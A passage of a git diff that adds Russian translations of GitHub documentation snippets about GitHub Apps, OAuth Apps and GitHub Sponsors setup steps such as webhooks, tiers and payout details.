bebd014c4563148935696cd8d9e90f99a0a0754a +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884232" +--- +Вы можете разрешить другим пользователям авторизовать приложение OAuth. diff --git a/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_github_apps.md new file mode 100644 index 000000000000..2722ea825046 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16fe300b9ddd6e9cf3508cd1a5315fbb010e4dd6 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884168" +--- +Вы можете заменить эмблему по умолчанию в приложении GitHub, отправив изображение собственного логотипа и настроив фон. diff --git a/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md new file mode 100644 index 000000000000..a142fac7d89f --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2ad0ca9e6a4025dadfe295a5abf884abe471d5a5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137502" +--- +Вы можете заменить эмблему по умолчанию в приложении OAuth, отправив изображение собственного логотипа и настроив фон. diff --git a/translations/ru-RU/data/reusables/shortdesc/creating_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/creating_github_apps.md new file mode 100644 index 000000000000..8019a871ef07 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/creating_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16765ff328dd912605f6689183d4b2edf1f72e34 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140033" +--- +Можно создать и зарегистрировать приложение GitHub в личной учетной записи или в любой организации, к которой у вас есть административный доступ. diff --git a/translations/ru-RU/data/reusables/shortdesc/creating_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/creating_oauth_apps.md new file mode 100644 index 000000000000..36694ab702a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/creating_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cae1b77fe2b4aa1c36d74fc64378da9e9502f712 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137497" +--- +Вы можете создать и зарегистрировать приложение OAuth в личной учетной записи или в любой организации, к которым у вас есть административный доступ. Создавая приложение OAuth, не забывайте защищать конфиденциальность, используя только информацию, которую вы считаете общедоступной. diff --git a/translations/ru-RU/data/reusables/shortdesc/deleting_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/deleting_github_apps.md new file mode 100644 index 000000000000..b40c4a76f16a --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/deleting_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3dc31af0cda9ea3902a622ead46ba9f85e0f74e7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140025" +--- +Вы можете удалить приложения GitHub, если они больше не используются. diff --git a/translations/ru-RU/data/reusables/shortdesc/deleting_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/deleting_oauth_apps.md new file mode 100644 index 000000000000..4c502fea3cb4 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/deleting_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dedff7f31dc16a370687629306e13f9bd4b0972a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137454" +--- +Приложения OAuth можно удалить, если они больше не используются. diff --git a/translations/ru-RU/data/reusables/shortdesc/editing_permissions_for_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/editing_permissions_for_github_apps.md new file mode 100644 index 000000000000..6d98c9d380cb --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/editing_permissions_for_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1f24aa0d4ec33205d15e4b6666b3e37fecbb5ebe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145140017" +--- +После регистрации приложения GitHub вы можете изменить разрешения приложения. diff --git a/translations/ru-RU/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md new file mode 100644 index 000000000000..6d5a0c573b80 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e8b9cda64d4033c864144e14fd0ef339398c79c2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881432" +--- +Приложение GitHub может выполнять действия от имени пользователя, такие как создание проблемы, создание развертывания и использование других поддерживаемых конечных точек. diff --git a/translations/ru-RU/data/reusables/shortdesc/iso_8601.md b/translations/ru-RU/data/reusables/shortdesc/iso_8601.md new file mode 100644 index 000000000000..d309802c2b63 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/iso_8601.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e546a0f1db250c3c8d125d1def9f7b33abe3cab3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139313" +--- +Это метка времени в формате [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601): `YYYY-MM-DDTHH:MM:SSZ`. diff --git a/translations/ru-RU/data/reusables/shortdesc/making-a-github-app-public-or-private.md b/translations/ru-RU/data/reusables/shortdesc/making-a-github-app-public-or-private.md new file mode 100644 index 000000000000..4afecb8e0692 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/making-a-github-app-public-or-private.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e8dc28754f240907442eaa10c1f56620b1ea6e54 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139310" +--- +При настройке приложения GitHub его установку можно сделать общедоступной, чтобы любой пользователь или организация GitHub могли установить это приложение, или частной, чтобы его можно было установить только в учетной записи, в которой оно создано. diff --git a/translations/ru-RU/data/reusables/shortdesc/modifying_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/modifying_github_apps.md new file mode 100644 index 000000000000..437c039498f9 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/modifying_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f6a7047d175768849d2ed7dfb856ae52e9412f47 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881424" +--- +После создания приложения GitHub вы можете внести в него изменения. diff --git a/translations/ru-RU/data/reusables/shortdesc/modifying_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/modifying_oauth_apps.md new file mode 100644 index 000000000000..594be95c5627 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/modifying_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bddc838df0cd5703268b187026ab257bf4dc33f9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145140014" +--- +После создания и регистрации приложения OAuth вы можете внести в него изменения. diff --git a/translations/ru-RU/data/reusables/shortdesc/permissions_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/permissions_github_apps.md new file mode 100644 index 000000000000..f60fa95180e7 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/permissions_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0e7c9a3c236e8d154423d834184db272a8c59cd7 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884886" +--- +При создании приложения GitHub необходимо задать разрешения, определяющие ресурсы, к которым приложение может получать доступ через REST API. diff --git a/translations/ru-RU/data/reusables/shortdesc/rate_limits_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/rate_limits_github_apps.md new file mode 100644 index 000000000000..499de3d2f5e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/rate_limits_github_apps.md @@ -0,0 +1 @@ +Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} help control the rate of traffic to {% data variables.location.product_location %}. diff --git a/translations/ru-RU/data/reusables/shortdesc/suspending_a_github_app.md b/translations/ru-RU/data/reusables/shortdesc/suspending_a_github_app.md new file mode 100644 index 000000000000..fef3f5873350 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/suspending_a_github_app.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1218541722fde4b399c636ebf7273e3eefd394f9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881416" +--- +Вы можете временно заблокировать для {% data variables.product.prodname_github_app %} доступ к ресурсам учетной записи, приостановив приложение. diff --git a/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_github_apps.md new file mode 100644 index 000000000000..c4b21c410d0f --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d1f3563cdcbc4a4cd6d4b9bdd4ad041a60fe5d98 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139974" +--- +Вы можете передать право владения приложением GitHub другому пользователю или организации. diff --git a/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md new file mode 100644 index 000000000000..a31283af82a6 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 66e880ef2dbc9d75e3fa0fb981b615f2f8e938d0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139302" +--- +Вы можете передать право владения приложением OAuth другому пользователю или организации. diff --git a/translations/ru-RU/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md new file mode 100644 index 000000000000..29931f99bf5a --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b604cee5b4c0534a7f4a60430de67679f1458c59 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139966" +--- +При обмене кода на маркер доступа может возникнуть ряд дополнительных ошибок. Формат этих ответов зависит от передаваемого заголовка Accept. diff --git a/translations/ru-RU/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md new file mode 100644 index 000000000000..e954aa45a048 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e9c90f2454279c10a7bac3124823f4ebb6243ab6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139297" +--- +При получении маркера OAuth для пользователя на начальном этапе запроса авторизации могут возникать ошибки. diff --git a/translations/ru-RU/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md new file mode 100644 index 000000000000..753db50e0b7d --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 59c430b23111d1bbd23014a9312097a4786f5827 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884846" +--- +Области позволяют точно указать требуемый тип доступа. Области _ограничивают_ доступ для маркеров OAuth. Они не предоставляют никаких дополнительных разрешений, помимо тех, что у пользователя уже есть. diff --git a/translations/ru-RU/data/reusables/sponsors/accept-legal-terms.md b/translations/ru-RU/data/reusables/sponsors/accept-legal-terms.md new file mode 100644 index 000000000000..c88c6d02225e --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/accept-legal-terms.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4947f67328d3232a366dab8c58b52092c1f95e88 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139294" +--- +1. Просмотрите [ Дополнительные условия {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms) и [Заявление о конфиденциальности {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-privacy-statement), а затем нажмите кнопку **Присоединиться к списку ожидания**. diff --git a/translations/ru-RU/data/reusables/sponsors/add-active-triggers.md b/translations/ru-RU/data/reusables/sponsors/add-active-triggers.md new file mode 100644 index 000000000000..805804ffd759 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-active-triggers.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2e47ec8690aab025154f3b1f1bc8cfb0e8e5a793 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137446" +--- +1. Чтобы получать обновления для SponsorshipEvent, выберите **Активный**. + ![Выбор активных событий](/assets/images/help/sponsors/webhook-active.png) diff --git a/translations/ru-RU/data/reusables/sponsors/add-introduction.md b/translations/ru-RU/data/reusables/sponsors/add-introduction.md new file mode 100644 index 000000000000..a60c7565bbc7 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-introduction.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7d74bb2f55c8d4c373c4a54da2cf711c0293099e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139953" +--- +1. В разделе "Введение" введите описание работы, которую вы будете выполнять в рамках спонсорства. + ![Текстовое поле сведений о профиле](/assets/images/help/sponsors/introduction-box.png) diff --git a/translations/ru-RU/data/reusables/sponsors/add-more-tiers.md b/translations/ru-RU/data/reusables/sponsors/add-more-tiers.md new file mode 100644 index 000000000000..c89faddd6700 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-more-tiers.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 633ff698948c38ddabdf4ba35a3a4640a6aea788 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137441" +--- + 1. Повторите описанные выше действия, пока не опубликуете все уровни, которые вы хотите предложить. diff --git a/translations/ru-RU/data/reusables/sponsors/add-payload-url.md b/translations/ru-RU/data/reusables/sponsors/add-payload-url.md new file mode 100644 index 000000000000..93adb752d979 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-payload-url.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d5e1fe4e6d8e03c4679ee87576826a69bd4567f1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139945" +--- +1. Введите URL-адрес полезных данных, а затем при необходимости настройте конфигурацию. Дополнительные сведения см. на странице [Создание веб-перехватчиков](/webhooks/creating/#creating-webhooks). + ![Поля для URL-адреса полезных данных и других параметров настройки](/assets/images/help/sponsors/webhook-payload-url.png) diff --git a/translations/ru-RU/data/reusables/sponsors/add-webhook.md b/translations/ru-RU/data/reusables/sponsors/add-webhook.md new file mode 100644 index 000000000000..dc4289506c78 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-webhook.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 292f9b65321ba774d93b5b3e859c86f36a648659 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137438" +--- +1. Щелкните **Add webhook** (Добавить веб-перехватчик). + ![Кнопка "Добавить веб-перехватчик" на боковой панели "Веб-перехватчики"](/assets/images/help/sponsors/add-webhook-sponsors-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/add-welcome-message.md b/translations/ru-RU/data/reusables/sponsors/add-welcome-message.md new file mode 100644 index 000000000000..10ab46a7e7f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/add-welcome-message.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d8d969b325214cbd3acdf121d456bf6cfac33b5e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881408" +--- +1. При необходимости введите приветственное сообщение для уровня. + ![Добавить приветственное сообщение](/assets/images/help/sponsors/add-a-welcome-message.png) diff --git a/translations/ru-RU/data/reusables/sponsors/beta-note-sponsors-for-companies.md b/translations/ru-RU/data/reusables/sponsors/beta-note-sponsors-for-companies.md new file mode 100644 index 000000000000..09ac60073b5c --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/beta-note-sponsors-for-companies.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f1fdec5e93537f11e68bbce1993206231eeed92a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137433" +--- +{% note %} + +**Примечание.** Сервис Sponsors for Companies в настоящее время находится в бета-версии и может быть изменен. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/sponsors/billing-switcher.md b/translations/ru-RU/data/reusables/sponsors/billing-switcher.md new file mode 100644 index 000000000000..b6825bb28028 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/billing-switcher.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b77357152c99fb5c670c36f6976bd2000bb887ec +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139934" +--- +1. При необходимости для управления спонсорством от имени организации в левом верхнем углу используйте раскрывающееся меню **Личные параметры** и щелкните организацию. + ![Раскрывающееся меню для переключения учетных записей для параметров](/assets/images/help/sponsors/billing-account-switcher.png) diff --git a/translations/ru-RU/data/reusables/sponsors/change-tier.md b/translations/ru-RU/data/reusables/sponsors/change-tier.md new file mode 100644 index 000000000000..77806cf7f79e --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/change-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1401aa774430ad1d83193c6f857116e68bc3959a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137430" +--- +1. В разделе "{% data variables.product.prodname_sponsors %}" справа от спонсируемой учетной записи щелкните {% octicon "triangle-down" aria-label="The down triangle octicon" %} рядом с суммой уровня, а затем нажмите кнопку **Изменить уровень**. + ![Кнопка "Изменить уровннь"](/assets/images/help/billing/edit-sponsor-billing.png) diff --git a/translations/ru-RU/data/reusables/sponsors/choose-updates.md b/translations/ru-RU/data/reusables/sponsors/choose-updates.md new file mode 100644 index 000000000000..bdc77b9d1200 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/choose-updates.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dfe651fd84ff05cb30acae74e159462cc66dbf54 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139926" +--- +4. Решите, хотите ли вы получать обновления в спонсируемой учетной записи по электронной почте, а затем установите или снимите флажок "Получение обновлений из _УЧЕТНОЙ ЗАПИСИ_ по электронной почте. + ![Флажок для получения обновлений из спонсируемой учетной записи](/assets/images/help/sponsors/updates-checkbox-manage.png) diff --git a/translations/ru-RU/data/reusables/sponsors/click-add-tier.md b/translations/ru-RU/data/reusables/sponsors/click-add-tier.md new file mode 100644 index 000000000000..b3d9bab53d0b --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/click-add-tier.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bc167d437cad2611b1fd4604bfbb0e3530cbee9e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137425" +--- +1. Чтобы создать ежемесячный уровень, нажмите **Добавить ежемесячный уровень** в правой части страницы. Кроме того, чтобы создать уровень для разовых платежей, нажмите **Разовые уровни**, а затем **Добавить разовую категорию**. + ![Кнопка "Добавить уровень"](/assets/images/help/sponsors/add-a-tier-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/confirm-add-webhook.md b/translations/ru-RU/data/reusables/sponsors/confirm-add-webhook.md new file mode 100644 index 000000000000..ea19f69a24fe --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/confirm-add-webhook.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5d4c425e0377edab3bc2791781eee3294251a7be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139913" +--- +1. Нажмите **Создать веб-перехватчик**. +![Кнопка "Создать веб-перехватчик" на боковой панели "Веб-перехватчики"](/assets/images/help/sponsors/create-webhook-sponsors-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/contact-info.md b/translations/ru-RU/data/reusables/sponsors/contact-info.md new file mode 100644 index 000000000000..14e99fd42b93 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/contact-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 934ad530202d033d8066201ff710e0ea7bb9d34e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137422" +--- +1. Заполните контактные данные согласно инструкциям. diff --git a/translations/ru-RU/data/reusables/sponsors/create-stripe-account.md b/translations/ru-RU/data/reusables/sponsors/create-stripe-account.md new file mode 100644 index 000000000000..c2872fabd700 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/create-stripe-account.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 413e4ca11d82e946f92c01959461e8f930797caa +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139905" +--- +1. Нажмите **Учетная запись Stripe Connect**. + ![Ссылка на создание учетной записи Stripe Connect](/assets/images/help/sponsors/create-stripe-connect-account.png) +2. Создайте учетную запись, следуя инструкциям. diff --git a/translations/ru-RU/data/reusables/sponsors/double-check-stripe-info.md b/translations/ru-RU/data/reusables/sponsors/double-check-stripe-info.md new file mode 100644 index 000000000000..9850669cb1b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/double-check-stripe-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2f18217fbcc8c96d873befbeec0c54475f5e65ee +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145137417" +--- +Если эти данные применяются к учетной записи Stripe Connect, перед отправкой приложения убедитесь, что все сведения верны. После отправки приложения обновить сведения об удостоверении, такие как имя и дата рождения, будет сложно. diff --git a/translations/ru-RU/data/reusables/sponsors/draft-new-update.md b/translations/ru-RU/data/reusables/sponsors/draft-new-update.md new file mode 100644 index 000000000000..1c2e352edfbc --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/draft-new-update.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e9f1496639c34f08e72fbf014b8a57a56ecee446 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139894" +--- +4. Нажмите **Черновик нового обновления** справа от параметра "Обновления электронной почты для спонсоров". + ![Кнопка "Новое обновление"](/assets/images/help/sponsors/new-update-button.png) diff --git a/translations/ru-RU/data/reusables/sponsors/edit-bank-information.md b/translations/ru-RU/data/reusables/sponsors/edit-bank-information.md new file mode 100644 index 000000000000..037e2f192c27 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/edit-bank-information.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 33d367b90bd3b0d815c4de5bffcd58fdc5dd6526 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137374" +--- +4. В разделе "Сведения о выплатах" нажмите **Изменить банковскую информацию**. + ![Изменить ссылку на банковскую информацию](/assets/images/help/sponsors/edit-bank-info.png) diff --git a/translations/ru-RU/data/reusables/sponsors/edit-featured-work.md b/translations/ru-RU/data/reusables/sponsors/edit-featured-work.md new file mode 100644 index 000000000000..309efc2f45a6 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/edit-featured-work.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2131ad8b1ad3e22b6dc59c4bc50e4f85a568881c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139889" +--- +1. При необходимости выберите репозитории, представленные в вашем профиле {% data variables.product.prodname_sponsors %}. + - Справа от заголовка "Избранная работа" нажмите кнопку **Изменить**. + ![Кнопка "Изменить" для избранной работы](/assets/images/help/sponsors/featured-work-edit-button.png) + - Выберите до 6 репозиториев и нажмите кнопку **Сохранить**. + ![Флажки для выбора репозиториев](/assets/images/help/sponsors/featured-work-select.png) diff --git a/translations/ru-RU/data/reusables/sponsors/edit-goal.md b/translations/ru-RU/data/reusables/sponsors/edit-goal.md new file mode 100644 index 000000000000..7548b3c942f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/sponsors/edit-goal.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e292edd57a8fc19e17d6203c7fcb9ee2ebcd69e0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137369" +--- +1. Справа от цели нажмите **Изменить**. +![Кнопка 